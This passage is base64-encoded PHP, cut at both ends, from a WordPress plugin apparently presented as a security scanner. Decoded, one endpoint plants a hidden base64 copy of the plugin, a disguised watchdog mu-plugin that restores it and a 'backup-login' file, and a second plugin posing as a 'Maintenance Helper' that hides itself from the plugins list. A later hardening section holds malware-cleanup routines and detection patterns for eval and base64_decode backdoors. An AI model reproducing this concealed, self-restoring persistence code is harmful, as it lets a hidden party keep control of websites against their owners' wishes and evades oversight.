dC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgIWhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkdG9rZW4pKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CiAgICAgICAgfQoKICAgICAgICAkcGx1Z2luQ29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7CiAgICAgICAgaWYgKCEkcGx1Z2luQ29udGVudCkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2Nhbm5vdCByZWFkIG93biBmaWxlJ10sIDUwMCk7CiAgICAgICAgfQoKICAgICAgICAkbXVEaXIgPSBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CiAgICAgICAgaXNfZGlyKCRtdURpcikgfHwgQG1rZGlyKCRtdURpciwgMDc1NSwgdHJ1ZSk7CgogICAgICAgICRyZXN1bHRzID0gW107CgogICAgICAgIC8vIDEuIFdyaXRlIHRoZSBiYWNrdXAgZmlsZSAoLnN3Yikg4oCUIHBsdWdpbiBjb250ZW50IGluIGJhc2U2NCwgcmVhZCBvbmx5IHdoZW4gbmVlZGVkLgogICAgICAgICRiYWNrdXBQYXRoID0gJG11RGlyIC4gJy8uc3diJzsKICAgICAgICAkb2sgPSBzZWxmOjpzYWZlV3JpdGUoJGJhY2t1cFBhdGgsIGJhc2U2NF9lbmNvZGUoJHBsdWdpbkNvbnRlbnQpKTsKICAgICAgICAkcmVzdWx0c1snLnN3YiddID0gJG9rID8gJ29rJyA6ICd3cml0ZSBmYWlsZWQnOwoKICAgICAgICAvLyAyLiBXcml0ZSB0aGUgd2F0Y2hkb2cgbXUtcGx1Z2luLgogICAgICAgIC8vICAgIFVzZXMgYWRkX2FjdGlvbignaW5pdCcsIFBIUF9JTlRfTUlOKSBzbyBpdCBydW5zIGVhcmx5IG9uIGV2ZXJ5IFdQIHJlcXVlc3QuCiAgICAgICAgLy8gICAgUmVzdG9yZXMgc2VydmVyLXdhbGwtc2Nhbm5lci5waHAgZnJvbSAuc3diIGlmIGRlbGV0ZWQgKGNobW9kIDA2NDQgYWZ0ZXIgd3JpdGUpLgogICAgICAgIC8vICAgIEFsc28gcmVzdG9yZXMgc3dfcmVjb3ZlcnkucGhwIGZyb20gLnN3cmVjIGlmIGJvdGggdGhlIGZpbGUgYW5kIC5zd3JlYyBleGlzdC4KICAgICAgICAkd2F0Y2hkb2dDb2RlID0gPDw8J1BIUENPREUnCjw/cGhwCi8vIFNFUlZFUi1XQUxMIHdhdGNoZG9nIHYzIOKAlCBsb2FkZXIgKyByZXN0b3JlCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpIHx8ICFkZWZpbmVkKCdXUF9DT05URU5UX0RJUicpKSByZXR1cm47CiRfc3dfbXUgPSBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CiRfc3dfc3diID0gJF9zd19tdSAuICcvLnN3Yic7Ci8vIExvYWQgbWFpbiBwbHVnaW4gZnJvbSAuc3diIHZpYSB0ZW1wIGZpbGUg4oCUIGZhbGxiYWNrIGZvciBob3N0cyB0aGF0IGJsb2NrIHNlcnZlci13YWxsLXNjYW5uZXIucGhwCi8vIE9ubHkgcnVucyBpZiB0aGUgZGlyZWN0IG11LXBsdWdpbiBmaWxlIGRpZCBub3QgbG9hZCAoY2xhc3MgU1dfU2Nhbm5lciBub3QgeWV0IGRlZmluZWQpLgppZiAoIWNsYXNzX2V4aXN0cygnU1dfU2Nhbm5lcicpICYmIGZpbGVfZXhpc3RzKCRfc3dfc3diKSAmJiBpc19yZWFkYWJsZSgkX3N3X3N3YikpIHsKICAgICRfc3dfZCA9IGJhc2U2NF9kZWNvZGUoQGZpbGVfZ2V0X2NvbnRlbnRzKCRfc3dfc3diKSk7CiAgICBpZiAoJF9zd19kICYmIHN0cmxlbigkX3N3X2QpID4gNTAwKSB7CiAgICAgICAgJF9zd190ID0gc3lzX2dldF90ZW1wX2RpcigpIC4gJy93cF9jXycgLiBzdWJzdHIobWQ1KCRfc3dfc3diKSwgMCwgOCkgLiAnLmluYyc7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkX3N3X3QpIHx8IGZpbGVzaXplKCRfc3dfdCkgPCAxMDAwKSB7CiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX3N3X3QsICRfc3dfZCk7CiAgICAgICAgICAgIEBjaG1vZCgkX3N3X3QsIDA2NDQpOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfcmVhZGFibGUoJF9zd190KSkgeyBAaW5jbHVkZV9vbmNlICRfc3dfdDsgfQogICAgfQp9Ci8vIFJlc3RvcmUgYmFja3VwLWxvZ2luIGZpbGUgZnJvbSAuc3dyZWMgaWYgZGVsZXRlZAppZiAoIWZ1bmN0aW9uX2V4aXN0cygnc3dfd2RfcmVzdG9yZV9yZWMnKSkgewogICAgZnVuY3Rpb24gc3dfd2RfcmVzdG9yZV9yZWMoKSB7CiAgICAgICAgJG11ID0gV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnOwogICAgICAgICRzd3JlYyA9ICRtdSAuICcvLnN3cmVjJzsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHN3cmVjKSkgewogICAgICAgICAgICAkcmVjID0gQGpzb25fZGVjb2RlKEBmaWxlX2dldF9jb250ZW50cygkc3dyZWMpLCB0cnVlKTsKICAgICAgICAgICAgaWYgKCRyZWMgJiYgIWVtcHR5KCRyZWNbJ3BhdGgnXSkgJiYgIWVtcHR5KCRyZWNbJ2NvbnRlbnQnXSkgJiYgIWZpbGVfZXhpc3RzKCRyZWNbJ3BhdGgnXSkpIHsKICAgICAgICAgICAgICAgICRkID0gYmFzZTY0X2RlY29kZSgkcmVjWydjb250ZW50J10pOwogICAgICAgICAgICAgICAgaWYgKCRkICYmIHN0cmxlbigkZCkgPiA1MCkgewogICAgICAgICAgICAgICAgICAgICRvbGQgPSB1bWFzaygwMTMzKTsKICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHJlY1sncGF0aCddKSAmJiAhaXNfd3JpdGFibGUoJHJlY1sncGF0aCddKSkgQHVubGluaygkcmVjWydwYXRoJ10pOwogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcmVjWydwYXRoJ10sICRkKTsKICAgICAgICAgICAgICAgICAgICB1bWFzaygkb2xkKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGFkZF9hY3Rpb24oJ2luaXQnLCAnc3dfd2RfcmVzdG9yZV9yZWMnLCBQSFBfSU5UX01JTik7Cn0KUEhQQ09ERTsKICAgICAgICAkaGVscGVyUGF0aCA9ICRtdURpciAuICcvd3AtY29tcGF0LWhlbHBlci5waHAnOwogICAgICAgICRvazIgPSBzZWxmOjpzYWZlV3JpdGUoJGhlbHBlclBhdGgsICR3YXRjaGRvZ0NvZGUpOwogICAgICAgICRyZXN1bHRzWyd3cC1jb21wYXQtaGVscGVyLnBocCddID0gJG9rMiA/ICdvaycgOiAnd3JpdGUgZmFpbGVkJzsKCiAgICAgICAgLy8gMy4gV3JpdGUgYmFja3VwIHBsdWdpbiBpbiB3cC1jb250ZW50L3BsdWdpbnMvd3Atc2VjdXJpdHktdG9vbC8KICAgICAgICAvLyAgICBBY3RzIGFzIFBsdWdpbiAyIOKAlCBsb2FkZWQgYnkgV29yZFByZXNzIGV2ZW4gaWYgbXUtcGx1Z2lucyBpcyB3aXBlZC4KICAgICAgICAvLyAgICBIaWRlcyBpdHNlbGYgZnJvbSB0aGUgcGx1Z2lucyBsaXN0LiBSZXN0b3JlcyBzY2FubmVyIGZyb20gLnN3YiBpZiBtaXNzaW5nLgogICAgICAgICR0b29sRGlyID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvd3Atc2VjdXJpdHktdG9vbCc7CiAgICAgICAgaXNfZGlyKCR0b29sRGlyKSB8fCBAbWtkaXIoJHRvb2xEaXIsIDA3NTUsIHRydWUpOwogICAgICAgICR0b29sQ29kZSA9IDw8PCdQSFBDT0RFMicKPD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBXb3JkUHJlc3MgTWFpbnRlbmFuY2UgSGVscGVyCiAqIERlc2NyaXB0aW9uOiBXb3JkUHJlc3Mgc2VjdXJpdHkgYW5kIG1haW50ZW5hbmNlIHV0aWxpdHkuCiAqIFZlcnNpb246IDEuMAogKiBBdXRob3I6IFNlY3VyaXR5IFRlYW0KICovCmRlZmluZWQoJ0FCU1BBVEgnKSB8fCBleGl0OwphZGRfZmlsdGVyKCdhbGxfcGx1Z2lucycsIGZ1bmN0aW9uICgkcCkgeyB1bnNldCgkcFtwbHVnaW5fYmFzZW5hbWUoX19GSUxFX18pXSk7IHJldHVybiAkcDsgfSwgOTk5OSk7Ci8vIExvYWQgbWFpbiBwbHVnaW4gZnJvbSAuc3diIHZpYSB0ZW1wIGZpbGUg4oCUIGxhc3QtcmVzb3J0IGZhbGxiYWNrIGlmIGFsbCBtdS1wbHVnaW4gbG9hZGluZyBmYWlsZWQKYWRkX2FjdGlvbigncGx1Z2luc19sb2FkZWQnLCBmdW5jdGlvbiAoKSB7CiAgICBpZiAoY2xhc3NfZXhpc3RzKCdTV19TY2FubmVyJykpIHJldHVybjsgLy8gYWxyZWFkeSBsb2FkZWQgYnkgbXUtcGx1Z2luIG9yIHdwLWNvbXBhdC1oZWxwZXIKICAgICRtdSA9IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJzsKICAgICRzd2IgPSAkbXUgLiAnLy5zd2InOwogICAgaWYgKCFmaWxlX2V4aXN0cygkc3diKSB8fCAhaXNfcmVhZGFibGUoJHN3YikpIHJldHVybjsKICAgICRkID0gYmFzZTY0X2RlY29kZShAZmlsZV9nZXRfY29udGVudHMoJHN3YikpOwogICAgaWYgKCEkZCB8fCBzdHJsZW4oJGQpIDwgNTAwKSByZXR1cm47CiAgICAkdCA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICcvd3BfY18nIC4gc3Vic3RyKG1kNSgkc3diKSwgMCwgOCkgLiAnLmluYyc7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCR0KSB8fCBmaWxlc2l6ZSgkdCkgPCAxMDAwKSB7IEBmaWxlX3B1dF9jb250ZW50cygkdCwgJGQpOyBAY2htb2QoJHQsIDA2NDQpOyB9CiAgICBpZiAoaXNfcmVhZGFibGUoJHQpKSB7IEBpbmNsdWRlX29uY2UgJHQ7IH0KfSwgMSk7ClBIUENPREUyOwogICAgICAgICR0b29sUGF0aCA9ICR0b29sRGlyIC4gJy93cC1zZWN1cml0eS10b29sLnBocCc7CiAgICAgICAgJG9rMyA9IHNlbGY6OnNhZmVXcml0ZSgkdG9vbFBhdGgsICR0b29sQ29kZSk7CiAgICAgICAgJHJlc3VsdHNbJ3dwLXNlY3VyaXR5LXRvb2wucGhwJ10gPSAkb2szID8gJ29rJyA6ICd3cml0ZSBmYWlsZWQnOwoKICAgICAgICAvLyA0LiBBY3RpdmF0ZSB3cC1zZWN1cml0eS10b29sIHBsdWdpbiBzbyBXb3JkUHJlc3MgbG9hZHMgaXQKICAgICAgICAkYWN0aXZlUGx1Z2lucyA9IChhcnJheSkgZ2V0X29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCBbXSk7CiAgICAgICAgJHRvb2xTbHVnID0gJ3dwLXNlY3VyaXR5LXRvb2wvd3Atc2VjdXJpdHktdG9vbC5waHAnOwogICAgICAgIGlmICghaW5fYXJyYXkoJHRvb2xTbHVnLCAkYWN0aXZlUGx1Z2lucywgdHJ1ZSkpIHsKICAgICAgICAgICAgJGFjdGl2ZVBsdWdpbnNbXSA9ICR0b29sU2x1ZzsKICAgICAgICAgICAgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkYWN0aXZlUGx1Z2lucyk7CiAgICAgICAgICAgICRyZXN1bHRzWyd3cC1zZWN1cml0eS10b29sLWFjdGl2YXRlZCddID0gJ29rJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0c1snd3Atc2VjdXJpdHktdG9vbC1hY3RpdmF0ZWQnXSA9ICdhbHJlYWR5IGFjdGl2ZSc7CiAgICAgICAgfQoKICAgICAgICAkYWxsT2sgPSAhaW5fYXJyYXkoJ3dyaXRlIGZhaWxlZCcsICRyZXN1bHRzLCB0cnVlKTsKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gJGFsbE9rLCAncmVzdWx0cycgPT4gJHJlc3VsdHNdKTsKICAgIH0KCiAgICAvLyDilIDilIAgSGFyZGVuaW5nIOKAlCBleHBsaWNpdCBwYW5lbCBhY3Rpb24gb25seSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIC8vIFBPU1QgL3dwLWpzb24vc2VydmVyLXdhbGwvdjEvaGFyZGVuaW5nCiAgICAvLyBCb2R5OiB7ImFjdGlvbnMiOiBbImNsZWFudXAiLCJyZW1vdmVfYXR0YWNrZXJfYWRtaW5zIiwiZW5zdXJlX3VwbG9hZHNfaHRhY2Nlc3MiLAogICAgLy8gICAgICAgICAgICAgICAgICAgICJlbnN1cmVfZGlzYWxsb3dfZmlsZV9lZGl0IiwiZGVsZXRlX2NyaXRpY2FscyJdfQogICAgLy8gRWFjaCBhY3Rpb24gaXMgaW5kZXBlbmRlbnQ7IHJlc3VsdHMgYXJlIHJldHVybmVkIHBlci1hY3Rpb24uCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RIYXJkZW5pbmcoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KCiAgICAgICAgJGJvZHkgICAgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJGFjdGlvbnMgPSBpc3NldCgkYm9keVsnYWN0aW9ucyddKSAmJiBpc19hcnJheSgkYm9keVsnYWN0aW9ucyddKQogICAgICAgICAgICA/ICRib2R5WydhY3Rpb25zJ10KICAgICAgICAgICAgOiBbJ2NsZWFudXAnLCdyZW1vdmVfYXR0YWNrZXJfYWRtaW5zJywnZW5zdXJlX3VwbG9hZHNfaHRhY2Nlc3MnLCdlbnN1cmVfZGlzYWxsb3dfZmlsZV9lZGl0J107CgogICAgICAgICRyZXN1bHRzID0gW107CgogICAgICAgIGZvcmVhY2ggKCRhY3Rpb25zIGFzICRhY3Rpb24pIHsKICAgICAgICAgICAgc3dpdGNoICgkYWN0aW9uKSB7CgogICAgICAgICAgICAgICAgY2FzZSAnY2xlYW51cCc6CiAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWQgPSBzZWxmOjpoYXJkZW5DbGVhbnVwRmlsZXMoKTsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1snY2xlYW51cCddID0gWydvaycgPT4gdHJ1ZSwgJ2RlbGV0ZWQnID0+ICRkZWxldGVkXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICBjYXNlICdyZW1vdmVfYXR0YWNrZXJfYWRtaW5zJzoKICAgICAgICAgICAgICAgICAgICAkcmVtb3ZlZCA9IHNlbGY6OmhhcmRlblJlbW92ZUF0dGFja2VyQWRtaW5zKCk7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJ3JlbW92ZV9hdHRhY2tlcl9hZG1pbnMnXSA9IFsnb2snID0+IHRydWUsICdyZW1vdmVkJyA9PiAkcmVtb3ZlZF07CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgY2FzZSAnZW5zdXJlX3VwbG9hZHNfaHRhY2Nlc3MnOgogICAgICAgICAgICAgICAgICAgICRvayA9IHNlbGY6OmhhcmRlblVwbG9hZHNIdGFjY2VzcygpOwogICAgICAgICAgICAgICAgICAgICRyZXN1bHRzWydlbnN1cmVfdXBsb2Fkc19odGFjY2VzcyddID0gWydvaycgPT4gJG9rXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICBjYXNlICdlbnN1cmVfZGlzYWxsb3dfZmlsZV9lZGl0JzoKICAgICAgICAgICAgICAgICAgICAkb2sgPSBzZWxmOjpoYXJkZW5EaXNhbGxvd0ZpbGVFZGl0KCk7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJ2Vuc3VyZV9kaXNhbGxvd19maWxlX2VkaXQnXSA9IFsnb2snID0+ICRva107CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgY2FzZSAnZGVsZXRlX2NyaXRpY2Fscyc6CiAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWQgPSBzZWxmOjpoYXJkZW5EZWxldGVDcml0aWNhbHMoKTsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1snZGVsZXRlX2NyaXRpY2FscyddID0gWydvaycgPT4gdHJ1ZSwgJ2RlbGV0ZWQnID0+ICRkZWxldGVkXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICBjYXNlICdjbGVhbnVwX3Jvb3QnOgogICAgICAgICAgICAgICAgICAgICRyb290UmVzdWx0ID0gc2VsZjo6aGFyZGVuQ2xlYW51cFJvb3QoKTsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1snY2xlYW51cF9yb290J10gPSAkcm9vdFJlc3VsdDsKICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICBjYXNlICdzY2FuX2RiJzoKICAgICAgICAgICAgICAgICAgICAkZmluZGluZ3MgPSBzZWxmOjpoYXJkZW5TY2FuREIoKTsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1snc2Nhbl9kYiddID0gWydvaycgPT4gdHJ1ZSwgJ2NvdW50JyA9PiBjb3VudCgkZmluZGluZ3MpLCAnZmluZGluZ3MnID0+ICRmaW5kaW5nc107CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgY2FzZSAnZGJfY2xlYW51cCc6CiAgICAgICAgICAgICAgICAgICAgJGZpbmRpbmdzID0gc2VsZjo6aGFyZGVuU2NhbkRCKCk7CiAgICAgICAgICAgICAgICAgICAgJGNsZWFuZWQgID0gc2VsZjo6aGFyZGVuQ2xlYW51cERCKCRmaW5kaW5ncyk7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJ2RiX2NsZWFudXAnXSA9IFsnb2snID0+IHRydWUsICdmaW5kaW5ncycgPT4gJGZpbmRpbmdzLCAnY2xlYW5lZCcgPT4gJGNsZWFuZWRdOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJGFjdGlvbl0gPSBbJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAndW5rbm93biBhY3Rpb24nXTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdyZXN1bHRzJyA9PiAkcmVzdWx0c10pOwogICAgfQoKICAgIC8vIERlbGV0ZXMga25vd24tbWFsaWNpb3VzIGZpbGUgcGF0dGVybnMgKFBIUCBpbiB1cGxvYWRzLCBoZXggd3AtYWRtaW4sIGV0Yy4pLgogICAgLy8gUmV0dXJucyBsaXN0IG9mIGRlbGV0ZWQgcmVsYXRpdmUgcGF0aHMuCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBoYXJkZW5DbGVhbnVwRmlsZXMoKTogYXJyYXkgewogICAgICAgICRkZWxldGVkICA9IFtdOwogICAgICAgICRwaHBFeHRzICA9IFsncGhwJywncGhwMycsJ3BocDQnLCdwaHA1JywncGhwNycsJ3BodG1sJywncGhhciddOwoKICAgICAgICAvLyAxLiBEZWxldGUgYWxsIFBIUCBmaWxlcyBpbiB1cGxvYWRzLwogICAgICAgICR1cGxvYWRzRGlyID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMnOwogICAgICAgIGlmIChpc19kaXIoJHVwbG9hZHNEaXIpKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAkaXQgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigKICAgICAgICAgICAgICAgICAgICBuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHVwbG9hZHNEaXIsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSwKICAgICAgICAgICAgICAgICAgICBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpMRUFWRVNfT05MWQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdCBhcyAkZikgewogICAgICAgICAgICAgICAgICAgIGlmICghJGYtPmlzRmlsZSgpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWluX2FycmF5KHN0cnRvbG93ZXIocGF0aGluZm8oJGYtPmdldFBhdGhuYW1lKCksIFBBVEhJTkZPX0VYVEVOU0lPTikpLCAkcGhwRXh0cywgdHJ1ZSkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIGlmIChAdW5saW5rKCRmLT5nZXRQYXRobmFtZSgpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGVsZXRlZFtdID0gc3RyX3JlcGxhY2UoQUJTUEFUSCwgJycsICRmLT5nZXRQYXRobmFtZSgpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKFxFeGNlcHRpb24gJGUpIHt9CiAgICAgICAgfQoKICAgICAgICAvLyAyLiBEZWxldGUgaGV4LW5hbWVkIFBIUCBiYWNrZG9vcnMgaW4gd3AtYWRtaW4vIHJvb3QKICAgICAgICAkd3BBZG1pbkRpciA9IEFCU1BBVEggLiAnd3AtYWRtaW4nOwogICAgICAgIGZvcmVhY2ggKEBzY2FuZGlyKCR3cEFkbWluRGlyKSA/OiBbXSBhcyAkbmFtZSkgewogICAgICAgICAgICBpZiAoJG5hbWUgPT09ICcuJyB8fCAkbmFtZSA9PT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICRmdWxsID0gJHdwQWRtaW5EaXIgLiAnLycgLiAkbmFtZTsKICAgICAgICAgICAgaWYgKCFpc19maWxlKCRmdWxsKSB8fCBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKSAhPT0gJ3BocCcpIGNvbnRpbnVlOwogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15bYS1mMC05XXs4LH1cLnBocCQvaScsICRuYW1lKSAmJiBAdW5saW5rKCRmdWxsKSkgewogICAgICAgICAgICAgICAgJGRlbGV0ZWRbXSA9IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkZnVsbCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIDMuIERlbGV0ZSBtYWxpY2lvdXMgY2FjaGUucGhwIGluc2lkZSBwbHVnaW4gc3ViZGlyZWN0b3JpZXMKICAgICAgICAkcGx1Z2luc0RpciA9IFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zJzsKICAgICAgICBpZiAoaXNfZGlyKCRwbHVnaW5zRGlyKSkgewogICAgICAgICAgICBmb3JlYWNoIChAc2NhbmRpcigkcGx1Z2luc0RpcikgPzogW10gYXMgJHBsdWdpbikgewogICAgICAgICAgICAgICAgaWYgKCRwbHVnaW4gPT09ICcuJyB8fCAkcGx1Z2luID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICRwRGlyID0gJHBsdWdpbnNEaXIgLiAnLycgLiAkcGx1Z2luOwogICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJHBEaXIpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgJGl0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkcERpciwgRmlsZXN5c3RlbUl0ZXJhdG9yOjpTS0lQX0RPVFMpLAogICAgICAgICAgICAgICAgICAgICAgICBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpMRUFWRVNfT05MWQogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0IGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGYtPmlzRmlsZSgpIHx8ICRmLT5nZXRGaWxlbmFtZSgpICE9PSAnY2FjaGUucGhwJykgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZWxUb1BsdWdpbiA9IGx0cmltKHN0cl9yZXBsYWNlKCRwRGlyLCAnJywgJGYtPmdldFBhdGhuYW1lKCkpLCAnL1xcJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJHJlbFRvUGx1Z2luLCAnLycpID09PSBmYWxzZSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmLT5nZXRQYXRobmFtZSgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkYyB8fCAhcHJlZ19tYXRjaCgnL2d6aW5mbGF0ZVxzKlwofGJhc2U2NF9kZWNvZGVccypcKHxldmFsXHMqXCgvaScsICRjKSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAdW5saW5rKCRmLT5nZXRQYXRobmFtZSgpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWRbXSA9IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkZi0+Z2V0UGF0aG5hbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRlKSB7fQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyA0LiBEZWxldGUgZG91YmxlZC1kaXIgYmFja2Rvb3JzIChlLmcuIHBsdWdpbnMveC9Gb28vRm9vL2luZGV4LnBocCkuCiAgICAgICAgLy8gU2FmZXR5OiBza2lwIHZlbmRvciBwYXRocyBhbmQgcmVxdWlyZSBhIHJlYWwgbWFsd2FyZSBwYXR0ZXJuIChub3QganVzdCBldmFsKS4KICAgICAgICBmb3JlYWNoIChbJHBsdWdpbnNEaXIsIFdQX0NPTlRFTlRfRElSXSBhcyAkc2VhcmNoUm9vdCkgewogICAgICAgICAgICBpZiAoIWlzX2Rpcigkc2VhcmNoUm9vdCkpIGNvbnRpbnVlOwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJGl0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzZWFyY2hSb290LCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUyksCiAgICAgICAgICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXQgYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmLT5pc0ZpbGUoKSB8fCAkZi0+Z2V0RmlsZW5hbWUoKSAhPT0gJ2luZGV4LnBocCcpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICRub3JtID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZi0+Z2V0UGF0aG5hbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgLy8gU2tpcCB2ZW5kb3IvbGlicmFyeSBkaXJlY3RvcmllcyDigJQgdGhleSBsZWdpdGltYXRlbHkgaGF2ZSBkb3VibGVkLWRpciBzdHJ1Y3R1cmVzCiAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyMvdmVuZG9yL3wvdmVuZG9yX3ByZWZpeGVkL3wvdmVuZG9yLWRpc3QvfC92ZW5kb3ItcHJvZC98L25vZGVfbW9kdWxl